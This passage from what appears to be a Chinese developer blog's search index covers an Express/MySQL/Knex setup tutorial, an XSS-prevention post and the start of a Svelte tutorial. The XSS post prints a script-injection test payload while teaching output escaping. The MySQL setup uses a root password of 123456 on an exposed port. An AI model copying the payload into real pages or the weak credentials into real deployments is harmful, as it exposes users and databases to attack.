關於 Base64 的轉化，Node 在以前使用了 Buffer.from，而現在支持 btoa/atob 與瀏覽器環境保持了一致。\n而對於一個 SSR 項目而言，執行環境的區分將無關緊要，統一使用 btoa/atob 就好了\n1 2 3 4 5 6 7 8 const base64 = { encode (v: string) { return isBrowser ? btoa(v) : Buffer.from(v).toString(\u0026#39;base64\u0026#39;); }, decode (v: string) { return isBrowser ? atob(v) : Buffer.from(v, \u0026#39;base64\u0026#39;).toString(); } } 更多 關於 Node16 升級的諸多小細節，可參閱版本發布獲取更多信息，可持續 Wayne\u0026rsquo;s Blog 對各軟件每一次重大版本升級的說明講解。\n","date":"2022-10-24T00:00:00Z","image":"https://live.staticflickr.com/65535/52449163172_6f0c5b3278_o.jpg","permalink":"https://blog.wayne-project.com/2022-10-24/nodejs-v19-release/","title":"Node v19 正式發布"},{"content":" 參考網站\n參考網站\n本文主要是展示使用 Express 和 MySQL 來搭建項目框架的步驟，展示瞭如何搭建項目並進行基本操作。\n創建項目 Express 是基於 Node.js 平台，快速、開放、極簡的 Web 開發框架。\n全局安裝 express-generator express-generator 是 Express 應用程序生成器工具，我們可以使用它來快速創建應用程序框架。\n1 2 3 4 npm install -g express-generator # (expressFrame 是項目名) express expressFrame 項目的目錄結構\nbin/www 是啟動入口文件，在裡面可以設置端口號等 下載依賴 創建好項目之後，裡面有包含基本的項目文件，也有相關依賴\n1 npm install 啟動項目 1 2 3 4 npm start # 啟動命令還可以是： # node ./bin/www 安裝 nodemon 可以安裝 nodemon 來監控 node.js 源代碼的任何變化和自動重啟你的服務器\n全局安裝 nodemon：\n1 npm install -g nodemon 啟動項目\n1 nodemon bin/www 這就啟動成功啦\n瀏覽器打開http://localhost:3000就能看到頁面啦\n安裝 winston 添加打印日誌文件 這裡採用的是 winston 日誌\n具體用法可看文檔：https://www.npmjs.com/package/winston\n1 npm i winston 配置打印日誌格式 在項目的根目錄添加一個配置打印日誌格式的文件 logger.js （此文件在 github 上）\n修改 app.js 的配置 修改項目默認的變量名：\n將 const logger = require('morgan'); 改成：const morgan = require('morgan') 相應的也要把 app.use(logger('dev')); 改成：app.use(morgan('dev')); 1 2 3 4 5 6 7 // ... - const logger = require(\u0026#39;morgan\u0026#39;); + const morgan = require(\u0026#39;morgan\u0026#39;); - app.use(logger(\u0026#39;dev\u0026#39;)); + app.use(morgan(\u0026#39;dev\u0026#39;)); // ... 引入 logger.js 文件 1 const logger = require(\u0026#39;./logger\u0026#39;) 修改錯誤處理 將錯誤打印到日誌上\n測試日誌是否打印成功 請求一個不存在的路由，如：http://localhost:3000/hello\n打開日誌文件，看到這條錯誤被打印出來就成功啦\nMySQL 啟動數據庫 這裡使用的方法是用 Docker 安裝 MySQL\n這裡是安裝的教程：https://www.runoob.com/docker/docker-install-mysql.html\ndocker 拉取 MySQL 鏡像 1 docker pull mysql:latest 查看本地鏡像 1 docker images 運行容器 1 2 # docker run -itd --name {容器名} -p 3306:3306 -e MYSQL_ROOT_PASSWORD={MySQL root 密碼} mysql docker run -itd --name mysql-test -p 3306:3306 -e MYSQL_ROOT_PASSWORD=123456 mysql 參數說明：\n-p 3306:3306：映射容器服務的3306端口到宿主機的3306端口，外部主機可以直接透過 宿主機ip:3306 訪問到 MySQL 的服務。 MYSQL_ROOT_PASSWORD=123456：設置 MySQL 服務 root 用戶的密碼。 安裝成功 透過 docker ps 命令查看是否安裝成功\n本機可以通過 root / 123456 訪問 MySQL 服務。\n安裝數據庫管理工具 Sequel Pro macOS 用戶安裝 navicat windows 用戶安裝 這裡選擇用 Sequel Pro 啟動好數據之後，就在 Sequel Pro 連接數據庫，密碼是啟動數據庫時自己設置的密碼\n使用 Navicat 數據庫管理工具連線時，出現錯誤 若出現 1251 - Client does not support authentication protocol requested by server; consider upgrading MySQL client 錯誤，原因為：\nmysql8 之前的版本，加密規則是 mysql_native_password，而 mysql8 之後的版本，加密規則是 caching_sha2_password\n解決方法： 升級 navicat 驅動。 進到容器內，把 mysql 用戶登入密碼加密規則還原成 mysql_native_password 以下採用方法2解決，操作如下：\n1. 打開 cmd，輸入以下指令以 bash 進入容器： 1 2 # docker exec -it {容器名} bash docker exec -it mysql-test bash 2. 使用 mysql 指令連線資料庫： 1 mysql -u root -p 3. 使用 mysql 指令查詢用戶訊息： 1 select host, user, plugin, authentication_string from mysql.user; host 為 % 表示不限制 ip、localhost 表示本機使用\nplugin 非 mysql_native_password 則需要修改密碼\n4. 使用 mysql 指令修改密碼： 更新 user 為 root， host 為 % 的密碼為 123456 1 ALTER USER \u0026#39;root\u0026#39;@\u0026#39;%\u0026#39; IDENTIFIED WITH mysql_native_password BY \u0026#39;123456\u0026#39;; 更新 user 為 root， host 為 localhost 的密碼為 123456 1 ALTER USER \u0026#39;root\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED WITH mysql_native_password BY \u0026#39;123456\u0026#39;; 5. 再次在 Navicat 中連接 mysql，連接成功 創建數據庫 使用數據庫管理工具新建數據庫 database 名稱為：expressFrame\n進入 expressFrame 庫，新建用戶信息表為 user ，默認有 id 字段，需要再添加以下必要字段：\n字段：id\n1 2 Field:name Type:VARCHAR LENGTH:255 Comment:姓名 Field:phone Type:VARCHAR LENGTH:255 Comment:手機號 使用 Knex.js 增刪改查數據庫 Knex.js 是為 Postgres、MSSQL、MySQL、MariaDB、SQLite3、Oracle 和 Amazon Redshift 設計的 SQL 查詢構建器，其設計靈活，便於攜帶並且使用起來非常有趣。Knex 的主要目標環境是 Node.js，您需要安裝該 knex 庫，然後安裝適當的數據庫庫：pg 適用於 PostgreSQL、CockroachDB 和 Amazon Redshift，pg-native 對於具有本機 C++ libpq 綁定的 PostgreSQL（需要安裝 PostgresSQL 才能鏈接），mysql 適用於 MySQL 或 MariaDB，sqlite3 適用於 SQLite3，tedious 適用於 MSSQL。\nFlag Library pg PostgreSQL、CockroachDB、Amazon Redshift pg-native 本機 C++ libpq 綁定的 PostgreSQL（需要安裝 PostgresSQL 才能鏈接） mysql MySQL、MariaDB sqlite3 SQLite3 tedious MSSQL 下載相關依賴 1 npm install -save knex mysql 添加配置信息 在項目根目錄下，新建配置信息 config.js，之後的配置信息涉及到數據庫和密碼，不上傳到 Github 等託管平台，所以需要單獨設置，使用 .gitignore 避免上傳。之後敏感的配置信息，都將在此配置。host 地址為數據庫的服務地址，本地為 127.0.0.1\nconfig.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 const configs = { mysql: { host: \u0026#39;127.0.0.1\u0026#39;, port: \u0026#39;3306\u0026#39;, user: \u0026#39;root\u0026#39;, password: \u0026#39;123456\u0026#39;, // 自己設置的密碼 database: \u0026#39;expressFrame\u0026#39; // 數據庫的名字 }, // 打印错误 log: { error (message) { console.log(\u0026#39;[knex error]\u0026#39;, message) } } } module.exports = configs 新建 .gitignore 在項目根目錄下，新建 .gitignore 避免上傳 config.js 、log、 node_modules 等不需要被上傳到 Github 的文件。\n.gitignore 1 2 3 4 5 6 7 .DS_Store .idea npm-debug.log yarn-error.log node_modules log config.js 數據庫配置 新建 models/knex.js，初始化配置 knex\nmodels/knex.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 // 引用配置文件 const configs = require(\u0026#39;../config\u0026#39;); // 把配置文件中的信息，設置在初始化配置中 module.exports = require(\u0026#39;knex\u0026#39;)({ client: \u0026#39;mysql\u0026#39;, connection: { host: configs.mysql.host, port: configs.mysql.port, user: configs.mysql.user, password: configs.mysql.password, database: configs.mysql.database }, // 打印錯誤 log: { error (message) { console.log(\u0026#39;[knex error]\u0026#39;, message) } } }) knex 增刪改查 在 models 下新建文件 base.js\nmodels/base.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 const knex = require(\u0026#39;../models/knex\u0026#39;); class Base{ constructor(props){ this.table = props; } // 查找 all (){ return knex(this.table).select(); } // 新增 insert (params){ return knex(this.table).insert(params); } // 更改 update (id, params){ return knex(this.table).where(\u0026#39;id\u0026#39;, \u0026#39;=\u0026#39;, id).update(params); } // 删除 delete (id){ return knex(this.table).where(\u0026#39;id\u0026#39;, \u0026#39;=\u0026#39;, id).del(); } } module.exports = Base; 新建用戶模型 在 models 下新建文件 user.js\nmodels/user.js 1 2 3 4 5 6 7 8 9 10 const Base = require(\u0026#39;./base\u0026#39;); class User extends Base { // 定義參數默認值為 user 表 constructor(props = \u0026#39;user\u0026#39;){ super(props); } } module.exports = new User(); 新建用戶控制器 在根目錄新建控制器文件夾 controllers，在 controllers 新建 user.js，並設置 showUser 方法\ncontrollers/user.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // 引用用户模版数据 const User = require(\u0026#39;../models/user.js\u0026#39;); const userController = { // showUser 獲取用戶數據並返回到頁面 showUser: async function(req,res,next){ try{ let userData = await User.all() res.json({ code: 200, message: \u0026#34;操作成功\u0026#34;, data: userData }) }catch(e){ res.json({ code: 0, message: \u0026#34;操作失敗\u0026#34;, data: e }) } }, } module.exports = userController; 添加獲取用戶接口 修改路由 routes/index.js，添加獲取用戶信息的接口\nroutes/index.js 1 2 3 4 const userController = require(\u0026#39;../controllers/user\u0026#39;); // 獲取用戶信息 router.get(\u0026#39;/get_user\u0026#39;, userController.showUser); 測試接口 訪問一下 http://localhost:3000/get_user\n查看接口返回的數據\n這就大功告成啦～\ngithub地址：https://github.com/wjdesign/nodejsExpressMysqlDemo\n走過路過點個贊唄～\n","date":"2022-10-21T00:00:00Z","image":"https://live.staticflickr.com/65535/52443177409_7e96fe402c_o.png","permalink":"https://blog.wayne-project.com/2022-10-21/nodejs-express-mysql/","title":"Node.js + Express + MySQL 搭建項目框架"},{"content":" 參考網站\n簡介 xss 是常見的攻擊方式之一，不管是前端還是後端都要對此有所防範才行。\n本文主要講解使用 NodeJS 開發的後端程序應該如何防範 xss 攻擊。\nxss演示 xss 攻擊方式主要是在在頁面展示內容中摻雜 js代碼，以獲取網頁信息。\n常見的攻擊地方有：\n電商產品評價區：某用戶提交的評價帶有可執行的js代碼，其他用戶查看該評論時就會執行那段js代碼。 博客網站：某用戶在博客的標題或者內容中帶有可執行的js代碼，其他用戶查看該博客時那段 js代碼 就會被執行。 比如在輸入框輸入\n1 \u0026lt;script\u0026gt;alert(1234)\u0026lt;/script\u0026gt; 別的用戶在自己頁面要展示上面這段內容個，頁面有可能會彈出一個彈窗。\n這個例子只是彈出一個對話框，如果人家有惡意，獲取cookie 等信息，然後傳給自己的服務器，那後果真的很嚴重。\nxss防禦 預防措施：轉義特殊字符\n特殊符號轉換\n1 2 3 4 5 6 \u0026amp; -\u0026gt; \u0026amp;amp; \u0026lt; -\u0026gt; \u0026amp;lt; \u0026gt; -\u0026gt; \u0026amp;gt; \u0026#34; -\u0026gt; \u0026amp;quot; \u0026#39; -\u0026gt; \u0026amp;#x27; / -\u0026gt; \u0026amp;#x2F; 上面我羅列了幾個常見的特殊字符。從上面的例子可以看出，輸入了 \u0026lt;script\u0026gt; 標籤後，裡面的內容有可能會被執行。\n如果我們把 \u0026lt;script\u0026gt; 改成 \u0026amp;lt;script\u0026amp;gt; 那麼瀏覽器就不把這段內容看成是可執行代碼。\n在日常開發中，我們不需要自己編寫轉義功能的代碼，只需要下載 xss 的依賴包就行。\n安裝 xss 依賴包\n1 npm install xss --save 使用 xss。 xss 其實是一個方法，只需要把要轉義的內容傳入 xss 方法即可。\n1 2 3 4 const xss = require(\u0026#39;xss\u0026#39;) const content = xss(\u0026#39;\u0026lt;script\u0026gt;alert(1234)\u0026lt;/script\u0026gt;\u0026#39;) console.log(content) 最後輸出\n1 \u0026amp;lt;script\u0026amp;gt;alert(1234)\u0026amp;lt;/script\u0026amp;gt; 以上就是 xss攻擊 在後端的防禦方法。\n如果嚴謹一點的話，在前端也可以把文本域的內容裡的特殊字符轉義一遍再傳給後端。\n後端傳給前端的內容有可能會在頁面展示成 \u0026amp;lt;script\u0026amp;gt;alert(1234)\u0026amp;lt;/script\u0026amp;gt;，這部分需要前端自己去處理。\n插則花邊新聞\n之前看到有則新聞說 Vue 不安全，某些ZF項目中使用 Vue 受到了 xss 攻擊。後端甩鍋給前端，前端甩鍋給了 Vue。\n後來聽說是前端胡亂使用 v-html 渲染內容導致的，而 v-html 這東西官方文檔也提示了有可能受到 xss 攻擊。\n尤雨溪：很多人就是不看文檔\n","date":"2022-10-21T00:00:00Z","image":"https://live.staticflickr.com/65535/52442821071_35fc2e7087_o.png","permalink":"https://blog.wayne-project.com/2022-10-21/nodejs-prevent-xss/","title":"NodeJS 防止 xss 攻擊"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n其實在很久之前我就注意到 Svelte，但一直沒把這個框架放在心上。\n因為我之前的工作主要使用 Vue，但完全沒遇到過使用 Svelte 的項。\n直到 Vite 的出現，我才開始開始重視 Svelte。\n從 Vite 文檔 裡可以看到它支持這些模板：\nJavaScript TypeScript vanilla vanilla vue vue react react preact preact lit lit svelte svelte 能讓祖師爺也重視的框架，不簡單不簡單~\n我喜歡用 Demo 的方式學習新技術，Svelte 官方入門教程 就提供了這種方式。\n這是我覺得入門比較舒服且方便日後搜索的學習方式。\n雖然 Svelte 官方入門教程 已經給出很多例子，而且 Svelte中文網 也有對應的翻譯，但有些翻譯看上去是機譯，而且部分案例可能不太適合新手學習~\n本文的目的是把 Svelte 的學習流程梳理出來，讓第一次接觸 Svelte 的工友能順利上手。\n本文適合人群：有HTML、CSS、JS基礎，知道並已經安裝了Node。\n如果你是打算從0開始學習前端，那本文暫時還不適合你閱讀。\nSvelte 簡介 Svelte 是一個構建web 應用程序的工具。\n傳統框架如React 和Vue 在瀏覽器中需要做大量的工作，而Svelte 將這些工作放到構建應用程序的編譯階段來處理。\n需要注意，Svelte 是一款編譯器。它可以將按照規定語法編寫的代碼打包成瀏覽器能運行的項目。\n和其他前端框架一樣，同樣也是使用HTML、CSS 和 JavaScript 進行開發。\n作者 在學習 Svelte 之前先了解一下它的父親（作者）。\nSvelte 的作者叫 Rich Harris\n可能國內大多數工友對他不是很熟悉（我也完全不熟），但應該聽過 Rollup。\n沒錯，他也是 Rollup 的爸爸。\n他在開發 Svelte 之前還開發過 Ractive.js，聽說 Vue 的部分實現也是受到了 Ractive 的啟發。\n關於 Rich Harris 的介紹還有很多，我搜到的資料上這樣介紹到：\n大學專業是學哲學的 在紐約時報調查組工作的圖形編輯，身兼記者和開發者職位 還有更多關於他和 Svelte 的介紹，可以看看《Svelte - The magical disappearing UI framework - Interview with Rich Harris》\nSvelte 的優勢 Svelte 翻譯成中文就是 苗條 的意思，側面表明它打包出來的包非常小。\nSvelte 主要優勢有以下幾點。\n編譯器 在打開 Svelte官網 時就能看到這樣的介紹。\nSvelte 是一種全新的構建用戶界面的方法。傳統框架如 React 和 Vue 在瀏覽器中需要做大量的工作，而 Svelte 將這些工作放到構建應用程序的編譯階段來處理。\nSvelte 組件需要在 .svelte 後綴的文件中編寫，Svelte 會將編寫好的代碼翻編譯 JS 和 CSS 代碼。\n打包體積更小 Svelte 在打包會將引用到的代碼打包起來，而沒引用過的代碼將會被過濾掉，打包時不會加入進來。\n在 《A RealWorld Comparison of Front-End Frameworks with Benchmarks (2019 update)》 報告中，對主流框架進行了對比。\n在經過 gzip 壓縮後生成的包大小，從報告中可以看出，Svelte 打包出來的體積甩開 Vue、React 和 Angular 幾條街。\n這是因為經過 Svelte 編譯的代碼，僅保留引用到的部分。\n不使用 Virtual DOM Virtual DOM 就是 虛擬DOM，是用 JS 對象描述 DOM 節點的數據，由 React 團隊推廣出來的。\n虛擬DOM 是前端的網紅，因此也有很多開發者開始研究和搞辯論賽。\n網上有一張圖對比了 Svelte 和 React 在數據驅動視圖的流程\n其實主要對比了使用虛擬DOM和直接操作真實DOM的區別。 在 React 中實現數據驅動視圖大概流程是這樣的：\n1 數據發生變化 -\u0026gt; 通過diff算法判斷要更新哪些節點 -\u0026gt; 找到要更新的節點 -\u0026gt; 更新真實DOM Vue 的數據更新原理其實也差不多，只是實現方式和使用語法會有所不同。\ndiff算法 會根據數據更新前和更新後生成的虛擬DOM進行對比，只有兩個版本的虛擬DOM存在差異時，才會更新對應的真實DOM。\n使用虛擬DOM對比的方式會比直接對比真實DOM的效率高。\n而且真實DOM身上掛載的屬性和方法非常多，使用虛擬DOM的方式去描述DOM節點樹會顯得更輕便。\n但這也意味著每次數據發生變化時都要先創建一個虛擬DOM，並使用 diff算法 將新虛擬DOM與舊虛擬DOM進行比對，這個步驟會消耗一點性能和需要一點執行時間。\n而 Svelte 在未使用虛擬DOM的情況下實現了響應式設計。\n我以粗暴的方式理解：Svelte 會監聽頂層組件所有變量，一旦某個變量發生變化，就更新使用過該變量的組件。這就僅僅只需更新受影響的那部分DOM元素，而不需要整個組件更新。\n綜上所述，在我的理解力，虛擬DOM的思想很優秀，也是順應時代的產物，但虛擬DOM並不是最快的，JS 直接操作 DOM 才是最快。\n《Virtual DOM is pure overhead》是 Svelte 官網上的一篇博客，專門討論虛擬DOM。有興趣的工友可以看看~\n更自然的響應式 這裡說的響應式設計是只關於數據的響應，而不是像 Bootstrap 的響應式佈局。\n現在流行的前端框架基本都使用 數據驅動視圖 這個概念，像 Vue 和 React 這些框架，都有響應式數據的概念。\n但 Vue 和 React 在數據響應方面還是有點不那麼自然，我簡單舉幾個例子：\n在 React 中，如果需要更新數據並在視圖中響應，需要使用 setState 方法更新數據。\n在 Vue2 中，響應式數據要放在 data 裡，在 methods 中使用 this.xxx 來更新數據。\n在 Vue3 的 Composition API 語法中，需要使用 ref 或者 reactive 等方法包裹數據，使用 xxx.value 等方式修改數據。\n上面這幾種情況，感覺多少都添加了點東西才能實現響應式數據功能（至少在普通開發者開發時是這樣）。\n在 Svelte 的理念中，響應式應該給開發者一種無感體驗，比如在 Excel 中，當我規定 C1 單元格的值是 A1 + B1 的和，設置好規則後，用戶只需要修改 A1 和 B1 即可，C1 會自動響應，而不需再做其他操作。\n在這方面，Svelte 我認為在現階段是做得最自然的。\n1 2 3 4 5 6 7 8 9 \u0026lt;h1\u0026gt;{name}\u0026lt;/h1\u0026gt; \u0026lt;script\u0026gt; let name = \u0026#39;雷猴\u0026#39; setTimeout(() =\u0026gt; { name = \u0026#39;鯊魚辣椒\u0026#39; }, 1000) \u0026lt;/script\u0026gt; 上面的代碼中，1秒後修改 name 的值，並更新視圖。\n從代碼就能看出，在使用 Svelte 開發項目時，開發者一般無需使用額外的方法就能做到和 Vue、React 的響應式效果。\n如果你對 Svelte 響應式原理感興趣，推薦閱讀 FESKY 的 《Svelte 響應式原理剖析—— 重新思考Reactivity》\n也可以看看 《Rethinking reactivity》，看看官方對 reactivity 的思考。\n性能強 Stefan Krause 給出一份 性能測試報告（點擊可查看） 對比里多個熱門框架的性能。從 Svelte 的性能測試結果可以看出，Svelte 是相當優秀的。\n內存優化 性能測試報告（點擊可查看） 也列出不同框架的內存佔用程度，Svelte 對內存的管理做到非常極致，佔用的內存也是非常小，這對於配置不高的設備來說是件好事。\n第5、6點，由於測試報告比較長，我沒截圖放進文中。大家有興趣可以點開鏈接查看測試報告。\n更關注無障礙體驗 在使用 Svelte 開發時會 自動對無障礙訪問方面的體驗進行檢測，比如 img 元素沒有添加 alt 屬性，Svelte 會向你發出一條警告。無障礙體驗對特殊人事來說是很有幫助的，比如當你在 img 標籤中設置好 alt 屬性值，使用有聲瀏覽器會把 alt 的內容讀出來。\n在此我還要推薦2本關於設計體驗的書。\n《點石成金：訪客至上的Web和移動可用性設計秘笈》 《包容性Web設計》 它們的封面長分別這個樣子\nSvelte 的優勢肯定還有很多，但由於我開發經驗不足，只能總結出以上這些了。如果你對 Svelte 有更多理解，歡迎在評論區補充~\nSvelte 的不足 Svelte 對 IE 是非常不友好的，但我並不把這放在眼裡。如果想兼容 IE 我還是推薦使用 jQuery。 Svelte 的生態不夠豐富。由於是新寵，生態方面肯定是不如 Vue 和 React 的。 與 Svelte 相關的庫 Sapper Sapper 官網地址\nSapper 是構建在Svelte 上的框架，Sapper 提供了頁面路由、佈局模板、SSR等功能。\nSvelte Native Svelte Native 官網地址\nSvelte Native 是建立在 NativeScript 之上的產物，可以開發安卓和iOS應用，是一個跨端技術。\n有點類似於 React Native 和 Weex 之類的東西。\nsvelte-gl svelte-gl Github\nsvelte-gl 還沒正式發布，但這是個很有趣的工具，它和three.js類似，專門做3D應用的。\n雖然現在 github 上的 Star 還不是很多，但也可以寫些 demo 玩玩。\n創建項目 在開始之前，你需要在電腦上安裝Node環境(v16+)。\n編輯工具我使用了 VS Code，同時安裝了 Svelte for VS Code 擴展插件。\n使用 Svelte 前，必須有一個開發環境。\n創建或使用開發環境有以下幾種方式：\nREPL Rollup版 Webpack版 Parcel版 Vite版 本文使用的是 Vite 創建項目，但上面列出的所有方式我都會逐一說說。\nREPL REPL是 Svelte 提供的一個線上環境，打開 Svelte 官網 可以看到頂部導航欄上面有個 REPL 的選項。點擊該選項就可以跳轉到 Svelte 線上開發環境了。\nREPL 是 read(讀取)、evaluate(執行)、print(打印) 和 loop(循環) 這幾個單詞的縮寫。\n如果你只是想嘗試 Svelte 的某些功能或者測試小型代碼，可以使用這款線上工具。\nREPL還提供了多組件開發，按左上角的 ＋ 可以創建新組件。組件的內容稍後會說到。\n界面右側，頂部有3個選項：\nResult： 運行結果。 JS output： Svelte 編譯後的 JS 代碼。 CSS output： Svelte 編譯後的 CSS 代碼。 在 REPL 界面右上角還有一個下載按鈕。\n當你在線上環境寫好代碼，可以點擊下載按鈕把項目保存到本地，下載的文件是一個 zip，需要自己手動解壓。\n然後使用以下命令初始化項目並運行即可。\n1 2 3 4 5 6 7 # 1. 初始化項目 npm install # 2. 運行項目 npm run dev # 3. 在瀏覽器訪問 http://localhost:5000 運行結果：\nRollup 版 Svelte 官方也提供了一個命令，可以下載 Svelte 項目到本地。\n命令最後需要輸入你的項目名稱。\n1 2 3 4 5 6 7 8 9 10 # 1. 下載模板 npx degit sveltejs/template 項目名稱 # 2. 安裝依賴 npm install # 3. 運行項目 npm run dev # 4. 在瀏覽器訪問 http://localhost:8080 運行結果：\n這是官方提供的創建項目方式，這個項目是使用 Rollup 打包的。 Rollup 和 Svelte 都是同一個作者（Rich Harris）開發的，用回自家東西很正常。\nWebpack 版 如果你不想使用 Rollup 打包項目，可以嘗試使用 Webpack。\n1 2 3 4 5 6 7 8 9 10 # 1. 下載模板 npx degit sveltejs/template-webpack 項目名稱 # 2. 安裝依賴 npm install # 3. 運行項目 npm run dev # 4. 在瀏覽器訪問 http://localhost:8080 運行結果：\nParcel 版 我並 不推薦使用 該方法創建項目，因為Svelte 並沒有提供使用Parcel 打包工具的模板。但 GitHub 上有第三方的解決方案（點擊訪問倉庫）。\n將DeMoorJasper/parcel-plugin-svelte的代碼下載下來。\n1 2 3 4 5 6 7 8 9 # 1. 進入 `packages/svelte-3-example` 目錄 # 2. 安裝依賴 npm install # 3. 運行項目 npm run start # 4. 在瀏覽器訪問 http://localhost:1234 運行結果：\nVite 版 本文接下來所有例子都是使用 Vite 創建 Svelte 項目進行開發的。\n使用 Vite 創建項目的原因是：快！\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 1. 下載模板 npm init vite@latest # 2. 輸入項目名稱 # 3. 選擇 Svelte 模板(我沒選ts) # 4. 安裝依賴 npm install # 5. 運行項目 npm run dev # 6. 在瀏覽器訪問 http://127.0.0.1:5173 運行結果：\n本文使用 Vite 創建項目，目錄結構和Rollup版創建出來的項目結構稍微有點不同，但開發邏輯是一樣的。\n起步 index.html、src/main.js 和 src/App.svelte 這三個是最主要的文件。\nindex.html 是項目運行的入口文件，它裡面引用了 src/main.js 文件。\nsrc/main.js 裡引入了 src/App.svelte 組件，並使用以下代碼將 src/App.svelte 的內容渲染到 #app 元素裡。\n1 2 3 const app = new App({ target: document.getElementById(\u0026#39;app\u0026#39;) }) target 指明目標元素。\n我們大部分代碼都是寫在 .svelte 後綴的文件裡。\n.svelte 文件主要確保 多個 HTML 元素、1個 script 元素 和 1個 style 元素。這3類元素都是可選的。\n我們主要的工作目錄是 src 目錄。\n為了減輕學習難度，我們先做這幾步操作。\n清空全局樣式 如果你使用Rollup版創建項目，不需要做這一步。\n在使用 Vite 創建的 Svelte 項目中，找到 src/app.css 文件，並把裡面的內容清空掉。\n改造 src/App.svelte 將 src/App.svelte 文件改成以下內容\n1 2 3 4 5 6 7 8 9 10 \u0026lt;script\u0026gt; let name = \u0026#39;雷侯\u0026#39; function handleClick() { name = \u0026#39;鯊魚辣椒\u0026#39; } \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt;Hello {name}\u0026lt;/div\u0026gt; \u0026lt;button on:click={handleClick}\u0026gt;改名\u0026lt;/button\u0026gt; 此時點擊按鈕，頁面上的\u0026quot;雷猴\u0026quot; 就會變成\u0026quot;鯊魚辣椒\u0026quot;\n上面的代碼其實和 Vue 有點像。\n變量和方法都寫在 \u0026lt;script\u0026gt; 標籤裡。 在 HTML 中使用 {} 可以綁定變量和方法。 通過 on:click 可以綁定點擊事件。 只需寫以上代碼，Svelte 就會自動幫我們做數據響應的操作。一旦數據發生改變，視圖也會自動改變。\n是不是非常簡單！\n基礎模板語法 Svelte 的模板語法其實和 Vue 是有點像的。如果你之前已經使用過 Vue，那本節學起來就非常簡單。\n插值 在\u0026quot;起步章節\u0026quot; 已經使用過 插值 了。在 Svelte 中，使用 {} 大括號將 script 裡的數據綁定到 HTML 中。\n1 2 3 4 5 \u0026lt;script\u0026gt; let name = \u0026#39;雷猴\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt;{name}\u0026lt;/div\u0026gt; 此時頁面上就會出現 name 的值。\n這種語法和 Vue 是有點像的，Vue 使用雙大括號的方式 {{}} 綁定數據。 Svelte 就少一對括號。\n表達式 在 HTML 中除了可以綁定變量外，還可以綁定表達式。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026lt;script\u0026gt; let name = \u0026#39;雷猴\u0026#39; function sayHi() { return `${name} 世界！` } let a = 1 let b = 2 let state = false \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt;{sayHi()}\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;{a} + {b} = {a + b}\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;{state ? \u0026#39;雷猴\u0026#39; : \u0026#39;鯊魚辣椒\u0026#39;}\u0026lt;/div\u0026gt; 屬性綁定 HTML 的屬性需要動態綁定數據時，也是使用 {} 語法。\n1 2 3 4 5 \u0026lt;script\u0026gt; let name = \u0026#39;雷猴\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;div title={name}\u0026gt;Hello\u0026lt;/div\u0026gt; 當鼠標放到 div 標籤上時，會出現 title 裡的提示信息。\n渲染 HTML 標籤 @html 如果只是使用插值的方法渲染帶有 HTML 標籤的內容，Svelte 會自動轉義 \u0026lt;、\u0026gt; 之類的標籤。\n1 2 3 4 5 \u0026lt;script\u0026gt; let h1El = \u0026#39;\u0026lt;h1 style=\u0026#34;color: pink;\u0026#34;\u0026gt;雷猴\u0026lt;/h1\u0026gt;\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt;{h1El}\u0026lt;/div\u0026gt; 這種情況多數出現在渲染文本。\n在 Vue 中有 v-html 方法，它可以將 HTML 標籤渲染出來。在 Svelte 中也有這個方法，在插值前面使用 @html 標記一下即可。\n1 2 3 4 5 \u0026lt;script\u0026gt; let h1El = \u0026#39;\u0026lt;h1 style=\u0026#34;color: pink;\u0026#34;\u0026gt;雷猴\u0026lt;/h1\u0026gt;\u0026#39; \u0026lt;/script\u0026gt; \u0026lt;div\u0026gt;{@html h1El}\u0026lt;/div\u0026gt; 但此方法有可能遭受 XSS 攻擊。\n我在 「NodeJS 防止 xss 攻擊」 中簡單演示過 XSS 攻擊，有興趣的可以看看。\n樣式綁定 在日常開發中，給 HTML 標籤設置樣式主要通過 行内 style 和 class 屬性。\n基礎的 HTML 寫法和原生的一樣，這裡不過多講解。\n下面主要講動態設置樣式，也就是將 JS 裡的變量或者表達式綁定到 style 或者 class 裡。\n行內樣式 style 1 2 3 4 5 6 7 8 9 \u0026lt;script\u0026gt; let color = \u0026#39;red\u0026#39; setTimeout(() =\u0026gt; { color = \u0026#39;blue\u0026#39; }, 1000) \u0026lt;/script\u0026gt; \u0026lt;div style=\u0026#34;color: {color}\u0026#34;\u0026gt;雷猴\u0026lt;/div\u0026gt; 1秒後，文字從紅色變成藍色。\n綁定class 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 \u0026lt;script\u0026gt; let foo = true setTimeout(() =\u0026gt; { foo = false }, 1000) \u0026lt;/script\u0026gt; \u0026lt;div class:active={foo}\u0026gt;雷猴\u0026lt;/div\u0026gt; \u0026lt;style\u0026gt; .active { color: red; } \u0026lt;/style\u0026gt; 在 HTML 裡可以使用 class:xxx 動態設置要激活的類。這裡的 xxx 是對應的類名。\n語法是 class:xxx={state}，當 state 為 true 時，這個樣式就會被激活使用。\n條件渲染 #if 使用 {#if} 開頭、{/if} 結尾。\n基礎條件判斷 1 2 3 {#if 条件判断} ... {/if} 舉個例子\n1 2 3 4 5 6 7 8 9 10 11 \u0026lt;script\u0026gt; let state = true setTimeout(() =\u0026gt; { state = false }, 1000) \u0026lt;/script\u0026gt; {#if state} \u0026lt;div\u0026gt;雷猴\u0026lt;/div\u0026gt; {/if} 1秒後改變狀態\n兩種條件 1 2 3 4 5 {#if 条件判断} ... {:else} ... {/if} 舉個例子\n1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;script\u0026gt; let state = true setTimeout(() =\u0026gt; { state = false }, 1000) \u0026lt;/script\u0026gt; {#if state} 